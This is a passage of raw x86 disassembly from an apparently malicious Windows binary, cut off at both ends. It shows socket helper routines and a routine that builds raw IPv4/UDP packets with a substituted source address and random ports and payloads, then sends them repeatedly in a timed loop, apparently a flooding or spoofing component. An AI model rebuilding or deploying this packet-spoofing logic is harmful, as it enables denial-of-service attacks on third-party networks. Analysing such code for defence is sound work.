short loc_405027 ; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_404FE7+1Ej mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405023 mov [ebp+var_20], 2 jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405023: ; CODE XREF: sub_404FE7+31j and [ebp+var_20], 0 loc_405027: ; CODE XREF: sub_404FE7+27j ; sub_404FE7+3Aj mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_405057 xor eax, eax jmp locret_4050E8 ; --------------------------------------------------------------------------- loc_405057: ; CODE XREF: sub_404FE7+67j mov eax, [ebp+var_28] mov [ebp+var_4], eax jmp short loc_405068 ; --------------------------------------------------------------------------- loc_40505F: ; CODE XREF: sub_404FE7+A8j ; sub_404FE7+F4j mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_405068: ; CODE XREF: sub_404FE7+76j cmp [ebp+var_4], 0 jz short loc_4050DD mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_2C], eax cmp [ebp+var_2C], 0FFFFFFFFh jnz short loc_405091 jmp short loc_40505F ; --------------------------------------------------------------------------- loc_405091: ; CODE XREF: sub_404FE7+A6j push 0 push [ebp+var_2C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_2C] call dword_4171F4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4050D2 call dword_417224 ; WSAGetLastError cmp eax, 2733h jnz short loc_4050D2 push [ebp+var_28] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_2C] jmp short locret_4050E8 ; --------------------------------------------------------------------------- loc_4050D2: ; CODE XREF: sub_404FE7+CEj ; sub_404FE7+DBj push [ebp+var_2C] call sub_4053B1 pop ecx jmp short loc_40505F ; --------------------------------------------------------------------------- loc_4050DD: ; CODE XREF: sub_404FE7+85j push [ebp+var_28] call dword_41DE8C ; freeaddrinfo xor eax, eax locret_4050E8: ; CODE XREF: sub_404FE7+6Bj ; sub_404FE7+E9j leave retn sub_404FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050EA proc near ; CODE XREF: sub_401E38+80p ; sub_402698+16p ... var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 844h mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx mov [ebp+var_834], eax mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx imul edx, 3E8h mov [ebp+var_830], edx push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_40513E mov [ebp+var_20], 17h jmp short loc_405155 ; --------------------------------------------------------------------------- loc_40513E: ; CODE XREF: sub_4050EA+49j mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405151 mov [ebp+var_20], 2 jmp short loc_405155 ; --------------------------------------------------------------------------- loc_405151: ; CODE XREF: sub_4050EA+5Cj and [ebp+var_20], 0 loc_405155: ; CODE XREF: sub_4050EA+52j ; sub_4050EA+65j mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_82C] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_405188 xor eax, eax jmp locret_40538B ; --------------------------------------------------------------------------- loc_405188: ; CODE XREF: sub_4050EA+95j mov eax, [ebp+var_82C] mov [ebp+var_4], eax jmp short loc_40519C ; --------------------------------------------------------------------------- loc_405193: ; CODE XREF: sub_4050EA+E3j ; sub_4050EA+128j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40519C: ; CODE XREF: sub_4050EA+A7j cmp [ebp+var_4], 0 jz loc_40537D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_83C], eax cmp [ebp+var_83C], 0FFFFFFFFh jnz short loc_4051CF jmp short loc_405193 ; --------------------------------------------------------------------------- loc_4051CF: ; CODE XREF: sub_4050EA+E1j push 0 push [ebp+var_83C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_83C] call dword_4171F4 ; connect mov [ebp+var_838], eax cmp [ebp+var_838], 0 jz short loc_405217 call dword_417224 ; WSAGetLastError cmp eax, 2733h jz short loc_405217 jmp loc_405193 ; --------------------------------------------------------------------------- loc_405217: ; CODE XREF: sub_4050EA+119j ; sub_4050EA+126j and [ebp+var_828], 0 loc_40521E: ; CODE XREF: sub_4050EA+1AFj and [ebp+var_840], 0 jmp short loc_405234 ; --------------------------------------------------------------------------- loc_405227: ; CODE XREF: sub_4050EA:loc_405259j mov eax, [ebp+var_840] inc eax mov [ebp+var_840], eax loc_405234: ; CODE XREF: sub_4050EA+13Bj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnb short loc_40525B mov eax, [ebp+var_840] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405259 jmp short loc_40525B ; --------------------------------------------------------------------------- loc_405259: ; CODE XREF: sub_4050EA+16Bj jmp short loc_405227 ; --------------------------------------------------------------------------- loc_40525B: ; CODE XREF: sub_4050EA+156j ; sub_4050EA+16Dj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnz short loc_405295 cmp [ebp+var_828], 200h jnb short loc_405295 mov eax, [ebp+var_840] mov ecx, [ebp+var_83C] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_828] inc eax mov [ebp+var_828], eax loc_405295: ; CODE XREF: sub_4050EA+17Dj ; sub_4050EA+189j xor eax, eax test eax, eax jnz short loc_40521E lea eax, [ebp+var_834] push eax push 0 lea eax, [ebp+var_828] push eax push 0 push 0 call dword_41722C ; select cmp eax, 1 jnz short loc_4052E0 push 1 push [ebp+var_83C] call sub_404457 pop ecx pop ecx push [ebp+var_82C] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_83C] jmp locret_40538B ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_4050EA+1CEj ; sub_4050EA+27Cj and [ebp+var_844], 0 jmp short loc_4052F6 ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax loc_4052F6: ; CODE XREF: sub_4050EA+1FDj mov eax, [ebp+var_844] cmp eax, [ebp+var_828] jnb short loc_405362 mov eax, [ebp+var_844] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405360 loc_405319: ; CODE XREF: sub_4050EA+265j mov eax, [ebp+var_828] dec eax cmp [ebp+var_844], eax jnb short loc_405351 mov eax, [ebp+var_844] mov ecx, [ebp+var_844] mov ecx, [ebp+ecx*4+var_820] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax jmp short loc_405319 ; --------------------------------------------------------------------------- loc_405351: ; CODE XREF: sub_4050EA+23Cj mov eax, [ebp+var_828] dec eax mov [ebp+var_828], eax jmp short loc_405362 ; --------------------------------------------------------------------------- loc_405360: ; CODE XREF: sub_4050EA+22Dj jmp short loc_4052E9 ; --------------------------------------------------------------------------- loc_405362: ; CODE XREF: sub_4050EA+218j ; sub_4050EA+274j xor eax, eax test eax, eax jnz loc_4052E0 push [ebp+var_83C] call sub_4053B1 pop ecx jmp loc_405193 ; --------------------------------------------------------------------------- loc_40537D: ; CODE XREF: sub_4050EA+B6j push [ebp+var_82C] call dword_41DE8C ; freeaddrinfo xor eax, eax locret_40538B: ; CODE XREF: sub_4050EA+99j ; sub_4050EA+1F1j leave retn sub_4050EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538D proc near ; CODE XREF: sub_401E38+26Ep ; sub_4020C2+3FBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 push [ebp+arg_0] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+arg_0] call sub_4053B1 pop ecx pop ebp retn sub_40538D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053B1 proc near ; CODE XREF: sub_404279+77p ; sub_40432E+1Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_417230 ; closesocket pop ebp retn sub_4053B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053BF proc near ; CODE XREF: sub_401E38+15Cp ; sub_4020C2+2F9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41720C ; send mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4053BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053DC proc near ; CODE XREF: sub_403DF3+D1p ; sub_405443+21p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 2 jnb short loc_4053F6 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_4053F6: ; CODE XREF: sub_4053DC+8j push 0 mov eax, [ebp+arg_8] dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_405418 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40541D loc_405418: ; CODE XREF: sub_4053DC+34j mov eax, [ebp+var_4] jmp short locret_405441 ; --------------------------------------------------------------------------- loc_40541D: ; CODE XREF: sub_4053DC+3Aj mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jb short loc_405435 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_405435: ; CODE XREF: sub_4053DC+47j mov eax, [ebp+arg_4] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] locret_405441: ; CODE XREF: sub_4053DC+18j ; sub_4053DC+3Fj ... leave retn sub_4053DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405443 proc near ; CODE XREF: sub_402698+8Dp ; sub_402698+2BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_40545B xor eax, eax jmp short loc_40546C ; --------------------------------------------------------------------------- loc_40545B: ; CODE XREF: sub_405443+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4053DC add esp, 0Ch loc_40546C: ; CODE XREF: sub_405443+16j pop ebp retn sub_405443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40546E proc near ; CODE XREF: sub_405443+9p ; sub_410649+2Dp ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_804 = dword ptr -804h var_800 = dword ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_416BC0 and [ebp+var_804], 0 and [ebp+var_1008], 0 loc_405489: ; CODE XREF: sub_40546E+90j and [ebp+var_1014], 0 jmp short loc_40549F ; --------------------------------------------------------------------------- loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j mov eax, [ebp+var_1014] inc eax mov [ebp+var_1014], eax loc_40549F: ; CODE XREF: sub_40546E+22j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnb short loc_4054C3 mov eax, [ebp+var_1014] mov eax, [ebp+eax*4+var_800] cmp eax, [ebp+arg_0] jnz short loc_4054C1 jmp short loc_4054C3 ; --------------------------------------------------------------------------- loc_4054C1: ; CODE XREF: sub_40546E+4Fj jmp short loc_405492 ; --------------------------------------------------------------------------- loc_4054C3: ; CODE XREF: sub_40546E+3Dj ; sub_40546E+51j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnz short loc_4054FA cmp [ebp+var_804], 200h jnb short loc_4054FA mov eax, [ebp+var_1014] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_800], ecx mov eax, [ebp+var_804] inc eax mov [ebp+var_804], eax loc_4054FA: ; CODE XREF: sub_40546E+61j ; sub_40546E+6Dj xor eax, eax test eax, eax jnz short loc_405489 loc_405500: ; CODE XREF: sub_40546E+107j and [ebp+var_1018], 0 jmp short loc_405516 ; --------------------------------------------------------------------------- loc_405509: ; CODE XREF: sub_40546E:loc_405538j mov eax, [ebp+var_1018] inc eax mov [ebp+var_1018], eax loc_405516: ; CODE XREF: sub_40546E+99j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnb short loc_40553A mov eax, [ebp+var_1018] mov eax, [ebp+eax*4+var_1004] cmp eax, [ebp+arg_0] jnz short loc_405538 jmp short loc_40553A ; --------------------------------------------------------------------------- loc_405538: ; CODE XREF: sub_40546E+C6j jmp short loc_405509 ; --------------------------------------------------------------------------- loc_40553A: ; CODE XREF: sub_40546E+B4j ; sub_40546E+C8j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnz short loc_405571 cmp [ebp+var_1008], 200h jnb short loc_405571 mov eax, [ebp+var_1018] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_1004], ecx mov eax, [ebp+var_1008] inc eax mov [ebp+var_1008], eax loc_405571: ; CODE XREF: sub_40546E+D8j ; sub_40546E+E4j xor eax, eax test eax, eax jnz short loc_405500 mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_1010], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_100C], edx lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_1008] push eax push 0 lea eax, [ebp+var_804] push eax push 1 call dword_41722C ; select cmp eax, 1 jz short loc_4055C9 xor eax, eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055C9: ; CODE XREF: sub_40546E+155j lea eax, [ebp+var_804] push eax push [ebp+arg_0] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_4055E1 push 1 pop eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_40546E+16Cj xor eax, eax locret_4055E3: ; CODE XREF: sub_40546E+159j ; sub_40546E+171j leave retn sub_40546E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055E5 proc near ; DATA XREF: sub_405E45+113o var_1358 = dword ptr -1358h var_1354 = dword ptr -1354h var_1350 = dword ptr -1350h var_134C = dword ptr -134Ch var_1348 = dword ptr -1348h var_1344 = dword ptr -1344h var_1340 = dword ptr -1340h var_133C = dword ptr -133Ch var_1338 = dword ptr -1338h var_1334 = dword ptr -1334h var_118D = byte ptr -118Dh var_108D = byte ptr -108Dh var_1087 = dword ptr -1087h var_1083 = dword ptr -1083h var_107F = dword ptr -107Fh var_1078 = dword ptr -1078h var_1074 = byte ptr -1074h var_1058 = byte ptr -1058h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1358h call sub_416BC0 push 2B9h push [ebp+arg_0] lea eax, [ebp+var_1334] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0FFh push 3 push 2 call dword_417218 ; socket mov [ebp+var_1078], eax cmp [ebp+var_1078], 0FFFFFFFFh jnz short loc_405643 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405643: ; CODE XREF: sub_4055E5+49j mov [ebp+var_1340], 1 push 4 lea eax, [ebp+var_1340] push eax push 2 push 0 push [ebp+var_1078] call dword_417204 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40567E push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_40567E: ; CODE XREF: sub_4055E5+84j push 0 push [ebp+var_1078] call sub_404457 pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 lea eax, [ebp+var_108D] push eax call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_118D] push eax call dword_417244 ; inet_addr mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405710 lea eax, [ebp+var_118D] push eax call dword_41723C ; gethostbyname mov [ebp+var_1344], eax cmp [ebp+var_1344], 0 jnz short loc_405700 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405700: ; CODE XREF: sub_4055E5+106j mov eax, [ebp+var_1344] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax loc_405710: ; CODE XREF: sub_4055E5+EAj cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405729 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: sub_4055E5+12Fj push 1060h push 0 lea eax, [ebp+var_1074] push eax call sub_416B6A ; memset add esp, 0Ch lea eax, [ebp+var_1074] mov [ebp+var_133C], eax lea eax, [ebp+var_1058] mov [ebp+var_14], eax mov eax, [ebp+var_133C] mov al, [eax] and al, 0F0h or al, 5 mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov al, [eax] and al, 0Fh or al, 40h mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov byte ptr [eax+9], 11h mov eax, [ebp+var_133C] mov ecx, [ebp+var_C] mov [eax+10h], ecx mov eax, [ebp+var_133C] mov cx, [ebp+var_E] mov [eax+16h], cx and [ebp+var_1338], 0 jmp short loc_4057B6 ; --------------------------------------------------------------------------- loc_4057A9: ; CODE XREF: sub_4055E5:loc_405E22j mov eax, [ebp+var_1338] inc eax mov [ebp+var_1338], eax loc_4057B6: ; CODE XREF: sub_4055E5+1C2j mov eax, [ebp+var_1338] cmp eax, [ebp+var_1087] jge loc_405E27 mov eax, [ebp+var_107F] mov [ebp+var_1358], eax cmp [ebp+var_1358], 1 jz short loc_4057FC cmp [ebp+var_1358], 2 jz loc_405924 cmp [ebp+var_1358], 3 jz loc_405A11 jmp loc_405C71 ; --------------------------------------------------------------------------- loc_4057FC: ; CODE XREF: sub_4055E5+1F6j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_40581E: ; CODE XREF: sub_4055E5+2BFj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4058A9 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_40581E ; --------------------------------------------------------------------------- loc_4058A9: ; CODE XREF: sub_4055E5+247j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405924: ; CODE XREF: sub_4055E5+1FFj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405946: ; CODE XREF: sub_4055E5+3CBj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4059B2 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405946 ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: sub_4055E5+36Fj push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405A11: ; CODE XREF: sub_4055E5+20Cj push 2 push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_134C], eax cmp [ebp+var_134C], 0 jnz short loc_405A52 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405A52: ; CODE XREF: sub_4055E5+444j cmp [ebp+var_134C], 1 jnz loc_405B87 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405A81: ; CODE XREF: sub_4055E5+522j push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405B0C push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405A81 ; --------------------------------------------------------------------------- loc_405B0C: ; CODE XREF: sub_4055E5+4AAj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405B87: ; CODE XREF: sub_4055E5+474j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405BA9: ; CODE XREF: sub_4055E5+62Ej push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405C15 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405BA9 ; --------------------------------------------------------------------------- loc_405C15: ; CODE XREF: sub_4055E5+5D2j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch loc_405C6F: ; CODE XREF: sub_4055E5+468j ; sub_4055E5+59Dj jmp short loc_405C93 ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_4055E5+212j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405C93: ; CODE XREF: sub_4055E5+33Aj ; sub_4055E5+427j ... push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov [ebp+var_1354], eax and [ebp+var_1350], 0 jmp short loc_405CB8 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: sub_4055E5+6F9j mov eax, [ebp+var_1350] inc eax mov [ebp+var_1350], eax loc_405CB8: ; CODE XREF: sub_4055E5+6C4j mov eax, [ebp+var_1350] cmp eax, [ebp+var_1354] jnb short loc_405CE0 mov eax, [ebp+var_14] add eax, [ebp+var_1350] mov al, [eax] shl al, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1350] mov [ecx], al jmp short loc_405CAB ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_4055E5+6DFj mov eax, [ebp+var_1354] add eax, 1Ch push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+2], ax call sub_41043F push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+4], ax call sub_410483 neg eax sbb eax, eax and al, 0C0h add eax, 80h mov ecx, [ebp+var_133C] mov [ecx+8], al push 2 push offset dword_41EF48 call dword_417244 ; inet_addr push eax call sub_4040E8 pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ch], eax mov eax, [ebp+var_1354] add eax, 14h push eax push [ebp+var_133C] call sub_40407D pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ah], ax movzx eax, [ebp+var_E] test eax, eax jnz short loc_405D7F call sub_41043F mov ecx, [ebp+var_133C] mov [ecx+16h], ax loc_405D7F: ; CODE XREF: sub_4055E5+789j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+14h], ax mov eax, [ebp+var_1354] add eax, 8 push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+18h], ax push 10h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+var_1354] add eax, 1Ch push eax lea eax, [ebp+var_1074] push eax push [ebp+var_1078] call dword_417250 ; sendto mov [ebp+var_1348], eax cmp [ebp+var_1348], 0FFFFFFFFh jnz short loc_405E08 push [ebp+var_1334] call sub_409763 pop ecx push [ebp+var_1078] call sub_4053B1 pop ecx xor eax, eax jmp short locret_405E41 ; --------------------------------------------------------------------------- loc_405E08: ; CODE XREF: sub_4055E5+805j push [ebp+var_1083] call dword_41709C ; Sleep mov eax, [ebp+var_1334] cmp dword ptr [eax+4], 